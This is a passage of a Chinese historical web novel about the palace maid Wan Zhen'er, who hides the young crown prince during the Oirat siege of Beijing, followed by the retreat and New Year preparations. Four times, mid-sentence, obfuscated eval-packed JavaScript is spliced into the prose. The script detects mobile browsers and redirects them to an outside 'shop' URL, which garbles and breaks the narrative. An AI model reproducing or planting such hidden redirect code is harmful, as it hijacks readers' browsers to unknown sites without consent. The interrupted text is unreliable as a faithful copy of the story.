王姑婆到底是上了年纪的人,经过事,虽然惊讶但也很快调整过来。带着万贞儿和小太子在西屋安顿。 “这原本是我女儿的屋子,后来她生孩子去了,我也时常打扫,暂且住着。”王姑婆又从箱子里抱出一床棉絮,要她们给小太子垫着。 “这么大的雪,晚上会冻上的,多盖些。” 万贞儿连声说了谢谢,又掏出几块碎银子强塞在王姑婆手里。王姑婆原本不要:“之前月妞逢年过节也给我送钱的。”但是万贞儿坚持,于是只好收下。 这么一番折腾,大人都累得够呛,更别说小孩子。 万贞儿侧卧炕上,哄着小太子睡下。 那边王姑婆和王月妞说着家常:“实在出不去也没法子,先藏着,等挨过这段时辰再看看。我这破落小户,里边还有口地窖,实在有什么不对就躲着。对了,你家宝儿呢?” 说的是王月妞的女儿宝儿,她是生下女儿后,进宫当奶口的。 提到基本上没怎么见过的女儿,王月妞的声音低落起来。“宝儿,他爹要是有点良心就该好好守着她。” 说着抹起泪来。 虽说给皇子做乳母是莫大的荣耀,但是断了和亲生孩子相处的机会,也是痛的。 王姑婆隐隐约约听见她说话有哭腔,知道不好说这个,另外把话题转开。 等到天色暗下来,小太子也睡熟了。万贞儿起身坐到桌前,同王月妞两个一起坐下,就着咸菜吃些白面馍馍。顺带听向王姑婆了解街坊的情况。 “这条胡同住的人不太多,旁边的一户已经躲到乡下去了。”王姑婆摇头道,“你们要是早点去,还能出城的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987552|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>万贞儿详细听了,心里有些数。 夜色里,雪依旧纷纷扬扬的下。 照理说,入夜之后,应该人声稀少,更加安静。可这个非常时刻却未必。 方才所见抢米的人群一直在万贞儿脑海里,这种时刻,除了外敌,一些作奸犯科的人也会趁乱出现的。于是她同王月妞约定分上下夜守夜,睡在一起,万一有什么意外,就躲藏在地窖里。 夜深了,王月妞和王姑婆已经睡去,万贞儿则守着熟睡的小太子。 她坐在炕沿,怀里揣着那把匕首,静静坐着,分辨着外边可疑的动静。 北风呼啸间,外头忽然传来了动静,隐隐约约的声响,仿佛是有人在鼓捣门。 万贞儿一下子坐直了,摇醒王月妞和王姑婆:“好像有贼。” 这时候敢出来作奸犯科的,多半是强壮之人,也不知道有几个。她们几个老老小小,还是避一避为好。 几人当即抱着犹在睡梦中的小太子躲到地窖中。 万贞儿在最前边,把那把小刀拔出鞘警惕地听着动静。 细碎的声响,有人闯到院子来,先进了正屋,翻了一番。听着又要到万贞儿他们藏身的西屋来。 万贞儿的心提起了。 许是看见正屋没人,这贼人越显得肆无忌惮起来,翻找东西的动静很大。 听声音是个男子。不过好在只有一人。 万贞儿握紧了刀。 那人翻了一会儿,骂骂咧咧道:“竟然先进了个穷鬼家!” 就在这时,王月妞怀里的小太子被吵醒了,哇得哭起来。 这样的夜里,孩子的哭声特别明显。 那入室的贼人显然来了兴致:“呦,藏了人呀。” 说着脚步就要往西屋这边走。 不行,不能坐以待毙。 万贞儿心一横,自己掀开地窖出去,藏在门后,将门抵住。用一种惊慌失措的、带着哭腔的声音朝外喊:“没什么值钱东西,都在正屋了。你拿了走吧。” 声音一出,外面的踹门声停了一瞬。那个男声更加兴奋了:“哟,还有个年轻妇人。开门,让哥哥进去暖和暖和!” 万贞儿握住刀,躲在门口阴影处,盘算着等会儿人进门,她要如何动手。 虽然从来没有使过刀,但是她不能失误。 她深吸一口气,摆好了姿势,一面继续用哭腔道:“我男人是守军,就要回来了!你拿了钱财走就算了。等下他就回来了!” “呵,能回来才有鬼了。” “砰”一声,那人猛烈地在门上踹了一脚。 然后又是砰砰几脚,这本来就不太结实的木门眼看就要被踹开。 万贞儿举起了刀—— “大敌当前,不去守城,反而趁乱欺辱妇孺?什么东西!” 另一个年轻人的声音响起,伴随着一声闷响,紧接着就是那贼人的骂声“谁他娘的打我!” “打的就是你这个撮鸟!” 拳拳到肉的声响,显然是个练家子。 那贼人被打的嗷嗷直叫,趁乱跑了出去。 寒风起,把已经踹破的门吹了开来。 年轻人活动活动拳头,转过身看过来。 万贞儿手中刀依旧没有放下,警惕的看着他。 四目相对。 年轻人看起来二十出头,身材挺拔,穿着一身军袍,看着像是个小兵。 瞧见万贞儿仍拿刀尖对着他,年轻人反倒笑起来:“不错啊,姑娘挺有血性。” 19. 蛰伏 这人生得五官刚毅端正,不似宵小之徒。然而万贞儿仍不敢放松警惕,她的手还握在刀柄上,指尖因为用力而微微发白,掌心渗出的冷汗让刀柄有些滑腻。 “这位公子,多谢你方才相助。只是非常之时,我家又是妇孺,不敢请你进屋,还望海涵。” 说话时,她的眼睛始终盯着对方的动作。 那年轻人也不甚在意,笑了笑:“是这个道理,我即刻就走。” 他一面说,一面慢慢向后退。退到院子中央时,转过头道:“无需担心,很快就会平安。” 临出大门时还带上了门。 万贞儿待他身影瞧不见之后,还略等了等,怕人在门口赖着。直到确认再无动静,才扑过去将门栓上,将刀入鞘,仍挂在腰带上,用外衣罩住,又从东屋推拉来一张沉沉的方桌抵着门。 “姑姑……” 身后传来小小的、带着哭腔的声音。 万贞儿回头看,只见王月妞牵着小太子站在后边,小太子眼睛红红的,像是要哭,又强忍着。还有一个王姑婆,手按在心口,一副十分后怕的模样。 万贞儿走过去,原想摸摸小太子的头安慰一番,但抬手时瞧见掌心的灰,于是手转了一个弯,放下来。 “没事,刚刚吓着了小爷罢?” 小太子在宫里可谓是千娇万宠,许多人伺候着,夏天午睡专门有内官去捕蝉,惟恐蝉声吵着他睡觉。这次被他们带着匆匆出宫,本就劳累,又梦中被吵醒,哭闹也是情有可原。 他的眼里氤氲着水气:“是我不好。” 年纪虽小,但隐约察觉刚才是自己哭闹方才引来的麻烦。小孩子对于大人的情绪是十分敏锐的,他感到刚刚无论是乳母还是万贞儿,都十分害怕。此时见万贞儿原本打算触碰到他的手忽然转了弯,没有落下来,于是越发沮丧,踮起脚小脑袋往上,试图离万贞儿的手更近一点。 “姑姑生气了,”小太子声音细细的,带着委屈,“都不摸我。” 这下子连王月妞都笑了,万贞儿也从刚才的紧张气氛中脱离出来,笑道:“哪有,是我手上有灰,怕弄脏了你。” “我不怕。”小太子固执地捉住她带灰的手,孩子的手很小,软软的,温热的,紧紧攥着她的手,牵扯着往自己脑袋上按。 万贞儿遂摸了摸他的头发。这孩子的头发天生有些硬,微微扎手。她低声道:“这里还是有些不太一样,若有危险,咱们得藏起来,不出声,像玩捉迷藏那样,好吗?” “我记得了。” “真乖。”万贞儿又摸了摸他的小脑袋,牵着他的手进屋。 孩子到底是孩子,哄了哄,仍睡去了。 万贞儿与王月妞围坐在炭盆边守着夜,听见远一点的王姑婆发出了鼾声。 王月妞道:“我们要不回宫去?” 万贞儿的皮靴踩在炭盆边上,手里拿着火钳拨弄一下:“出都出来了,就这样回,如何交代?” 孙太后那边都不好说。 王月妞显然也想到了这一层,脸色白了白,不再说话。 万贞儿望着炭盆里散发出的一点白烟,叹了口气。眼下看,以于少保为首的大臣们对于死守京城是很有坚持的。似乎事情坏不到瓦剌军进城那一步。若如此,在这里待两天,等危机解除再回宫,同孙太后禀告无法出城躲藏避难,看在他们一直守着小太子身边,小太子无恙的份上,倒也推说的过去。 若是真的不幸遇见城破,小太子在宫外躲藏、趁乱逃出去的几率总是比留在宫中大的。昔年的建文皇帝不就逃得不知所踪了么? 万贞儿回首望了望塌上小太子,确认他已安睡,压低了声音同王月妞交代了自己的想法,王月妞听了连连点头:“这样好。” 她也发愁怎么给孙太后解释呢。 万贞儿一直熬到破晓时分,见王姑婆起来,方才终于去换着躺了躺。她私心里,还是更信自己些。 实在是太费神了,一沾枕头就睡着了。 白天,外头还是乱糟糟的。好在王姑婆年纪长,预先屯了许多粮在地窖里,无需出去。几人躲在屋子里,倒也安稳。 小太子也被昨天的事吓着了些,不提要出去。 雪停了,院子里堆了许多白雪,万贞儿便陪着小太子堆雪人,打发时辰。 到黄昏时,忽然听见一些很整齐的脚步声,还有拉东西的声音。 万贞儿让王月妞和王姑婆带着小太子躲进地窖,自己拔了剑,悄悄贴在门边,透过一丝门缝看动静。 仿佛看见许多人往旁边的胡同穿过去,都作军士打扮,同昨夜所见的那个年轻人一样。后面跟着些板车,车上堆得高高的,用油布盖着,压得车轮在泥泞的雪道上留下很深的痕迹。 他们往旁边的胡同穿过去了,靠近德胜门的方向。 莫非是在前边埋伏兵力么?万贞儿心里咯噔一下,这样子的话,这一带有些太靠近前边,倒显得不安全。只是她们已经躲藏于此,再出去换地方,也有些麻烦。 侦查一遍后,万贞儿回到屋中,将人从地窖中喊出来,讲了情景:“估计是再往前靠近德胜门的外城有军士驻扎,咱们可还有别的地方能 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借着从窗里投进来的一点点月光,杜箴言擦拭着自己的武器,听同屋的同伍队友闲扯。 “他娘的,之前说跟皇爷混军功是好事,轮不到咱们这些毫无背景的。结果闹成这幅德性,还是得上阵,还是在家门口。”一个络腮胡士兵道,“你们一个个可别混啊,这次真是家门口!我媳妇还在城墙内等我回去呢。” “谁混谁孙子。”另一个瘦小些的接话,“我媳妇孩子也在呢,老马他孙子都在。” “嘿,这是好话还是趁机骂人呢。”老马抬起头,啐了一口,“还是小杜好,一句话也不说,不像你们,猴儿似的。” 瘦小的士兵咧嘴笑:“我看呢,他定也是在想媳妇,可惜还没得及娶上。这会儿后悔了吧?” “滚,”杜箴言笑骂道,“等会儿我真动手你又要求饶了。” “算了,不敢。谁不知道你打架厉害呢。” 他们碎嘴,又聊起其他的事,临到阵前,除了挣军工,最恋恋不舍的还是家人,毕竟刀剑无眼,一上阵都说不好会活还是死。 杜箴言低头擦着武器,听他们絮叨起家里的媳妇孩子,心里却无端想起昨夜匆匆一瞥的那个姑娘。 真好看的姑娘,梳着未嫁女子的发髻,声音柔柔细细,手里那把刀却也握住了不肯放。刀柄反照的一缕寒光在她柔美的脸上,那叫一个漂亮。 要是打完仗他还活着,一定得去问问她的名字,可有婚配。 如果他有幸活着的话。 20. 不见长安 京师戒严,除却城外埋伏的军士,城内亦有巡夜人,凡有作奸犯科者,一律严惩。 因此当夜色降临,偌大的一个京城,竟然奇异地寂静起来。 直到炮火声骤然响起。 尖锐的、撕裂空气的呼啸,伴随着巨大的爆炸声,震得整座房子都在颤抖。土墙簌簌地往下掉灰。 万贞儿几乎是瞬间从浅睡中惊醒。她猛地坐起身,手已经摸向腰间的短刀。转头看向小太子。他也被惊醒了,但这一次并不叫喊,只是稚嫩的一双黑眼睛里带着惊恐。 “别怕,我在这。”万贞儿伸手去抱他,将他紧紧搂在怀里。小太子的身体在微微发抖,小手紧紧攥着她的衣襟,但没有哭。 炮火声仍在继续,中间隐隐约约还夹杂着喊杀声、马蹄声、金属碰撞的铿锵声,窗外的漆黑夜色有一角为火光的红所染,看着不详。 王月妞和王姑婆也醒了。两人脸色煞白,立刻收拾了简单的吃食东西,去开地窖。 几人迅速躲进地窖里,地窖门盖上,那爆炸声稍稍闷了些,但仍不绝于耳。 万贞儿抱着小太子,轻轻拍着他的背,安抚似的。 小太子原先身体还紧绷着,在这温暖的怀抱里,渐渐放松了些。隔了一会儿,轻轻开口问:“姑姑,是什么在响?” “是枪炮,打仗用的东西。”她极力让自己的声音听起来平静。 “像炮竹?”小太子问。 万贞儿“嗯”了一声,道:“有点像,但要更加厉害,能伤人。这应该是我们的神机营?听说有枪、大炮什么的,很厉害。” 她试图转移小太子的注意力,要是一直担惊受怕,对小孩子不好。 果真是小孩子,听见之后,问她什么是枪、什么是神机营。其实万贞儿也不大知道,只听过,没见过,但也努力描述勾勒了一下,讲故事一样。 小太子似懂非懂,说:“以后回宫我要去看看那个。” “好呀。到时候你看了,讲给姑姑听。” 又是一阵密集的爆炸声,有灰尘伴随着簌簌而落,万贞儿把身子往前倾,遮在小太子头上,以防灰尘迷了他的眼。王月妞察觉到,也凑过来,两人像伞一样和围着。 这些声响时密时疏,不知何时才能尽。 小太子问:“什么时候才算结束呢?” 几个大人都沉默了,王月妞叹了口气。万贞儿顿了一下,才缓缓说:“会结束的,像黑夜一样,不管怎么漫长,总会天亮的。” 小太子点点头,不再说话。 夜色中的轰鸣仍在持续,倘若再往德胜门外走些,就能嗅见呛人的火药味以及难闻的血腥味。 附近的寒鸦为这罕见的战火所惊醒,鸣叫着振翅逃开,往外城更远处飞。 偶尔轰隆声停歇,这寒鸦声就特别令人心悸。 瓦剌驻地的朱祁镇听见那寒鸦声,眉头拧得更深。 他披着一件半旧的羊皮袄子,站在帐篷外。寒风像刀子一样刮在脸上,刺得生疼。但站得久了,也就被吹得麻木了。他在这寒风里静静望着北京城的方向。 那座他生活了二十多年的城池,在这夜色里其实看不太真切。朱祁镇望着那头,心里涌起一阵荒谬的感觉。他堂堂大明天子,这座城池的主人,臣民的君父,竟然在这座城的危急存亡之秋,站在敌人的营地里,看着敌人攻打自己的京师,像一个最无关的旁观者。 不,连旁观者都不如。他是筹码,是人质,是也先手里用来要挟那座城池的工具。 这个认知让他浑身发冷。 前两天,也先又玩了一次老把戏。押着他到德胜门下,要求城里的官员出来迎接太上皇。他的算盘也打得精,若能诱出几个重要人物,擒获了,就是更大的筹码。 可结果呢? 城中只出来了两个低级官员,朱祁镇连名字都没什么印象的那种,个个脸上带着风萧萧兮易水寒,壮士一去兮不复还的神情。估摸着出来前已经和家里人交代过后事。 到了瓦剌营地,瞧见朱祁镇,眼神十分微妙,说了些“社稷为重”“太上皇保重身体”的套话,然后就没有然后了。 于谦没出现。朱祁镇那个已经登基称帝的弟弟朱祁钰,更不可能出现。 也先的脸色很难看。他原本以为,就算新皇帝不来,至少于谦这个兵部尚书,现在的实际主事者总会露面。可于谦连面都没露,只派了两个无足轻重的小官来应付。 这种小鱼小虾没什么意思,于是也先挥了挥手,让他们走了,自己则掉头与瓦剌心腹商量攻城之事。 朱祁镇心里五味杂陈。他松了口气,于谦和朱祁钰没上当,不至于再多个俘虏,这是好事。可同时,一股深切的失落也涌上来。 他们……真的不在乎他了? 母后呢?钱皇后呢?还有他那个三岁的儿子见深? 想到钱皇后,朱祁镇心里更是一揪。那个女子,性子最是柔弱,在宫里时总是以他为天,说话轻轻柔柔,从来不动怒生气。如今他被虏敌营,钱氏随军出征的两个兄弟俱已阵亡,京师被围,向来柔弱的她不知道会哭成什么样。 还有母后,母后年纪大了,却忽然遭遇如此大变,悲痛之余仍将自己压箱底的、珍爱多年的珠宝献出试图赎他。先前他一看也先母亲鬓边的凤钗就认出了,那正是从前父皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002738|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赐给她的,她视若珍宝的那一只钗。 朱祁镇不敢再想下去,他只能强迫自己转移注意力,去想眼前的战事。 也先派人出击攻城,可是这声响,却始终在城门附近,并没有更远。这样说来,似乎没攻下来? 大明的各位先帝爷爷,请保佑京城无恙,瓦剌大败。 他心里念咒一样的念了个遍。 身边负责看管他的瓦剌人劝道:“再吹风,要生病了,进帐去罢。” 朱祁镇叹了口气,打起精神道:“干戈不止,无论是哪方都有伤亡。我又如何能安睡。一时担忧城中人,一时又担心伯颜帖木儿会不会受伤。” 瓦剌人听了他的话,脸色稍稍好转:“这也不是我们能左右的,你要是病了,我不好交代。” “是我的疏忽,让你为难了,这就进去。” 朱祁镇正往帐子内走,忽然听见许多马蹄声,扭头看见远处瓦剌部分骑兵灰头土脸的,极其安静的回来,心中不由得一喜。 这种样子,定是没占得便宜! 朱祁镇心里这样想,但身在敌营,连笑都不敢笑,仍做出一副忧心忡忡的样子,回到帐中,终于能够阖眼睡一会儿。 瓦剌这次确实没占到便宜,本来欲进攻德胜门,结果还没挨到城墙,在外城的土城,就挨了埋伏。不知道明军怎么就埋伏在这里,神机营的枪炮全用上了,弄得折损了好些人马。 此后两日,又试探性进攻了其余城门,虽也有小胜,但始终无法攻破城门。在探马回禀明军的勤王军已经很近,不过百里时,也先终于下定决心,拔营回去。 虽然有点可惜,不过他们从前草原上打仗也是这样,抢掠一番,然后跑回去,并不算很丢脸。大不了等来年草黄时再出来攻一回。 瓦剌大军拔营,朱祁镇也得跟着他们回去。 他在这里有一辆马车,两个照顾的人,和一个烧水做饭的婆子。伯颜帖木儿也过来送他上马车。“兄弟对不住,你还是得跟我们走。” 朱祁镇笑笑:“我不会让你难做。” 然后很乖巧地爬上马车,钻进车厢前,最后回望一眼。 晨光中,这座城池的轮廓清晰了许多。隐隐约约能看见城门高大的阙楼。 举目见日,不见长安。 小时候听太傅讲《世说新语》,讲到晋明帝幼时回答“长安与日孰远”的故事,只觉无聊。什么叫太阳和长安哪一个更远? 在这一瞬间他忽然明白了,为何长安比太阳还要遥远。 他的长安,就在眼前。可他已经回不去了。 车轮辘辘,向北驶去。他坐在车里,眼角有泪痕。 21. 退兵 瓦剌退兵了! 这个消息在经由再三确认后,风一样传遍了整个京城,从各地赶来的勤王军的到来更是令所有人松了口气。 “走啦,瓦剌人走了!” “京城无恙!” 戒严一解除,百姓们纷纷从藏身的屋子里跑出来,兴奋传递着消息。胡同内外尽是一片喜气洋洋,仿佛提前过年了一般。 万贞儿她们也终于松了一口气。 谢天谢地,最坏的情况没有发生,太子也好好的。 王姑婆和王月妞满脸欢喜,跑前跑后去联系,王月妞到底在宫里做了几年的奶口,知道一两个相熟内官在京城的宅邸。自己亲自去报了信,要内官转报宫中,听得小太子在她们这里,内官也是十分积极,一面使人报到宫里,一面安排马车来接。忙得马不停蹄。 相较之下,万贞儿倒是获得了短暂的空闲,坐在小院里,和小太子一起晒太阳。 日头晒在他们一起堆的雪人上,微微的有些水珠浮起来。 万贞儿笑盈盈地看着,在日光下伸了一个懒腰,难得的闲适。 小太子也察觉到了气氛的变化,仰着小脸问:“姑姑,游戏结束了吗?” “结束了,”万贞儿扭过头来笑道,“坏人被赶跑了,我们可以回家咯。” 话说出口,她又觉得有点怪,什么时候宫里也可以算家了? 小太子眼睛一亮,欢呼道:“回家咯。” 看着小太子的笑颜,万贞儿轻笑着摇了摇头,不再纠结是回宫还是回家。 总之,这场雪停了。 等待马车到来的时辰,万贞儿连同王月妞简单收拾了一下,其实也没什么可收拾的,她们急匆匆出来并没有带很多东西。那把刀万贞儿倒是很仔细地用干净布擦了一遍,好生收起来,预备着回宫之后交还,同时也预备下回禀的话术。 阳光里,听见许多细碎的响动,比如隔壁邻居家似乎有人跑回来了,收拾着东西感慨幸好家里没有被搬空,也有其他邻居还在骂瓦剌,说他们非要瞎跑,弄得动枪动炮给他们家家私弄得全是灰,可得擦好一阵儿呢。 在这些琐碎的响动中,马车到了门口。 万贞儿抱着小太子上车,王月妞同王姑婆又说了几句感谢的话,也跟上车来。 “几位请坐稳了,咱们这就走。”车夫提醒道。 其实这马车比起她们出宫所乘坐的那辆还要显得旧些,可无论是万贞儿王月妞,还是小太子,神情都要放松些。 小太子坐在车里,也不肯老实安坐着,要把车帘掀起来,看外头的热闹。 万贞儿便把车帘固定住,方便他瞧,同时紧握着他的手,怕他看热闹看得太开心把身子探出去。 顺着胡同向外,能看见好些返回的人们,也有这几天被关在家里憋坏了的小孩子,趁机疯跑打闹。 万贞儿低头思索着进宫见到孙太后,该如何回禀。忽然听见小太子“咦”了一声。 “有个人追着车跑。” 什么人? 万贞儿把身子朝车窗那头探了探,只见在灿烂日光里,一个年轻人正在追车。 好像是那夜短暂出现过的年轻人。 万贞儿心里诧异,见他当真是一直跟着车在追,犹豫了一下,还是让车夫停一下。 马车停下,没一会儿的功夫,那年轻人跑到车边,气喘吁吁,把手扶着车辕,抬头看向车窗里的万贞儿,一双眼睛却在笑。 “可巧赶上了。”他努力让自己的声音平稳些,“姑娘这几日可无恙?” 万贞儿一愣,目光扫过他身上沾染了污渍的战衣,这人估计是下了值,连衣裳都没换就赶过来的。一望就知道他约莫是经历过苦战的,这样的人,反倒问她过得可无恙? 万贞儿不自觉摸了摸耳边的头发:“我还好,公子有事?” 听到她文绉绉唤他公子,那年轻人又笑了,道:“嗯,有要事。” “请讲。” 年轻人那一双眼睛直愣愣望着她,道:“在下杜箴言,神机营小旗,家住城南柳树胡同,我爹也是军户出身,我娘是秀才的女儿,家中除了我还有一个弟弟,家世清白,人口简单。” 这话的言外之意,大人是很容易听明白的。同车的王月妞忍住不笑出声来,拿手肘轻轻去碰万贞儿。 万贞儿的脸腾的红了。 这人可真是!哪有在大街上这样子详细地自报家门的。 她从小生长在宫里,像这样的爽朗男子同她说这样的话,是第一次。全然不知道该回复什么好,只是低下头。 杜箴言却不肯就这样打住,豁出去一般继续问:“敢问姑娘芳名?家住何处?他日可否请人登门拜访?” 万贞儿的脸全然红了,这教人怎么回答! 幸好,小太子闹了起来:“姑姑!我们回家!” 孩子的声音打破了尴尬。万贞儿如蒙大赦,连忙抬头,安抚小太子:“好好好,我们就回去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006750|193143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她定了定神,瞥了车外的杜箴言一眼,立刻移开目光,道:“我叫万贞儿,忠贞的贞。只是——” 万贞儿咬了咬唇道:“有些人注定无缘,公子保重。” 不待她继续说话,小太子起身蹭的一下把车帘放下来,有些气呼呼地招呼车夫:“起驾!” 马车复又向前,除了车轮辘辘,再听不到那人的话。万贞儿闭上眼睛,感觉胸膛里的一颗心跳得极快。 王月妞笑着把小太子拉到怀里:“我的小爷,你这会儿怎么闹起来了,坏了你姑姑的好事呢。” “别乱说。”万贞儿睁眼道,“我是宫人。” 一入宫门深似海,从此萧郎是路人。尽管她只是宫人,不是什么妃嫔,在这事上仍不由自己。 小太子也学着道:“别乱说。” “好好好,我不说了。”王月妞嘀咕道,“不过那人瞧着还不错的样子。”声音逐渐低下去,不讲了。 马车驶向那座巍峨的宫城。 在查验过后,她们再度穿过宫门,回到宫中。 孙太后见了小太子,立刻把他搂在怀里,上上下下打量一遍。 见这孩子的脸色并没有多少惊吓之色,更没有伤痕,就知道他有被好好照顾着。听完万贞儿将这几日的经历讲完,孙太后并没有追究。 “行了,小爷现在好好回到宫里就是幸事。你们下去歇着吧。” 自有留在宫中的其他宫人凑上前来伺候小太子,可是小太子不干,“不行,姑姑和乳母都要在我身边。” 也许还是有一点影响的。 万贞儿与王月妞只得强打着精神,陪同着与其他宫人一起,伺候小太子洗漱、睡下。待他睡熟之后,方才回到自己住处,匆匆梳洗。 洗澡水已经由万贞儿带教的小宫女备下了,拿木板遮盖着,好叫热气不要立刻跑掉。 万贞儿同小宫女翠莲说了几句话,关上门,将自己泡在温水里。 温水让人放松下来,她坐在浴桶中,掬一把水在手,看着掌心里波动的水光,无端想起那个追车的年轻人。 然后,嘴角微微上扬。 不管怎么说,十八九岁的年纪,能被人注目,尤其是一个年轻俊逸的男子思慕着,是件令人高兴的事。 虽然说是有缘无分,但日后当她成为白发宫女时,也能多一件能谈及的事。 她静静笑了一会儿,却最终叹了口气。 但也只能这样而已了。 22. 辞旧岁 年节将至,正遇上瓦剌退兵的大喜事,宫中久违的热闹起来。 尚衣监赶着日子裁制了新帝、太子的袍服,送到清宁宫东配殿。 皇太子冕服,玄衣九旒冕,实在是很庄重。但是小太子朱见深才三岁,穿在身上,倒是显得……异常可爱。 小小的人儿,脸上还带着婴儿肥,圆嘟嘟的。偏生穿着这样正经的衣裳,小脸也板着,实在是太可爱了。 好想捏一捏他的小脸啊。 万贞儿蹲着,将心底这个不敬的念头压下去,替他整理好垂下的九旒。 “不摸吗?”小太子疑惑的声音响在耳边。 “什么?”万贞儿抬眸。 小太子歪了歪头,乌亮的眼睛里盛着疑惑,指了指自己犹带婴儿肥的脸颊,说:“这里,怎么不摸?” 万贞儿轻笑了一声,认真解释道:“在宫里这样不合规矩。奴婢是宫女,不能以下犯上。” “以下犯上?”小太子把这个词重复了一遍,小小的眉头蹙起来,像在思索什么难题,不说话了。 万贞儿以为这档事过去了,从旁边伺候宫人手中的漆盘中拿起玉佩,替小太子佩在腰间。 金钩玉佩固定好之后,她正欲把手收回,却被一只小手捉住。下一瞬,那张小脸凑过来,轻轻贴上她的手背。 触感温热、柔嫩,像猫儿尾巴拂了一下人。 “这样,就不算姑姑犯上了。”他声音清亮,带着点小小的得意。 万贞儿一怔,忍不住笑出声。 连带旁边的几个宫女也笑了。 “小爷很亲姑姑呢。”一个宫女说。 万贞儿正要笑着说话,忽然听见外头响起内侍的通传声:“周娘娘来了。” 她于是连忙收回手,起身,推到一旁去。 小太子撇了撇嘴。 “我儿的冠冕到了?让娘看看。” 周盼儿兴冲冲进来,目光盯住小太子头上的那顶九旒冕:“哎呦,可太好看了。” 她伸手拨动了一下那象征储君的九旒,感慨道:“我儿就适合穿这个。” 旧岁将去,这样多的坏消息,唯独见深被立为太子这一事略微让她欣慰。 小太子眼前的九旒被拨动,视线乱糟糟,颇有点不舒服,但因为是母妃,不好发作,只是转了转头看向万贞儿:“这冕好沉。” “太子之冕,上面用的都是足量的玉石,沉些也是应当,”周盼儿道,“寻常人想也不要戴这个呢。你多戴一戴,就惯了。” 看着不太想让他立刻换下,还欲多看看。 万贞儿道:“娘娘说的是,不如坐下仔细看看,看玄衣的前后摆是否合适。” “也好。” 她扶着小太子在椅子上坐下,周盼儿前后转了一圈,同宫人叮嘱着哪里要修改些。 越看越欢喜,口吻中带着些炫耀的意思,同万贞儿说:“看着他这样端坐,我就想起元旦正日,长哥儿要受百官朝贺,那该有多气派。” 百官朝贺么?万贞儿心里却想到另一件事:“那场景自然是气派极了,只是元旦大朝,怕是礼仪繁琐,人又杂多,小爷还年幼,也许会疲惫。” “这有什么。”周盼儿接过奉茶宫女手中的茶,吃了一口,道:“储君乃国之根本,生来便该立于万人之上。这点场面算什么?我小时候最爱繁华,尤其是灯会,人越多,灯火越盛,心里头越欢喜。我儿定随我的性子。是不是,长哥儿?” 小太子点了点头:“我会做好。” “真乖。” 这身玄衣瞧了好久,又让换皮弁服,衮龙袍服。周盼儿眼尖,但凡有不妥帖处都叫宫人记下让尚衣监改。 几身衣裳换下来,小太子神情都黯淡了好些,不过是强打精神。 “我的儿累了罢,还有最后一身,换了就让乳娘带你午睡歇息。”周盼儿爱怜地抱一抱他,让宫人给他换最后一身衣裳看看。 万贞儿使了个眼色,让几个宫人替小太子一齐换,脱靴的脱靴,摘帽的摘帽,自己给小太子穿戴的动作也更快些。 周盼儿端坐宫椅上等待,微微有些出神,同万贞儿闲聊:“说起来,汪娘娘的皇后礼服想来也做好了。她也是运道好,莫名其妙的竟然有了凤冠翟衣。” 她轻轻呵了一声:“也不知道新的凤冠翟衣,比起咱们钱娘娘的是否更华贵些。元旦内外命妇朝拜汪娘娘,不知道在哪儿呢,毕竟坤宁宫还住着钱娘娘。” 这话微微带点嘲讽,万贞儿听了,知道她原本对钱皇后的旧怨又升了上来,只低垂着眼帘,专心替小太子穿戴,并不接话。 她们现在都是主子,自己一个小小宫人,谨言慎行为妙。 殿中安静,熏笼中的炭盆轻微的噼啪一声响。 周盼儿认识万贞儿多年,也是知道她这性子,但凡有点难说的话就是不接话,让人不痛快。自觉没趣,起身打算凑近瞧瞧小太子身上的礼服,却听见小太子忽然问: “母妃,父皇的乾清宫呢?父皇会回来,看儿受贺吗?” 这一句话,倒使殿中结冰了一般。 乾清宫,目前倒还空着。可是原先的主人仍为瓦剌所俘,回不来。 新年朝贺,新皇定要移居此受贺的。朝臣们已经上表请万岁移宫了。 好半天没人说话,小太子从大人们的神态中察觉到,自己似乎说错了话,很是不安。 万贞儿趁着给他系腰带的功夫,握了一握他的手。 小太子垂下眼,姑姑的大手握着他的小手,传来令人心安的温度。 “小孩子家懂什么。”周盼儿有些生硬地转移话题,“你可有什么喜欢吃的,到时候让点心局准备,都要过年了……” 都要过年了,丧气的话暂时不必说。 阖宫上下心照不宣,决口不提北狩未归的太上皇,只一心一意准备贺新春。 点心局堆起节庆时才有得点心堆,用糖黏着橘子等御用水果盘成高塔,将冷清了许久的乾清宫暖阁布置得热闹起来。 清宁宫用膳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 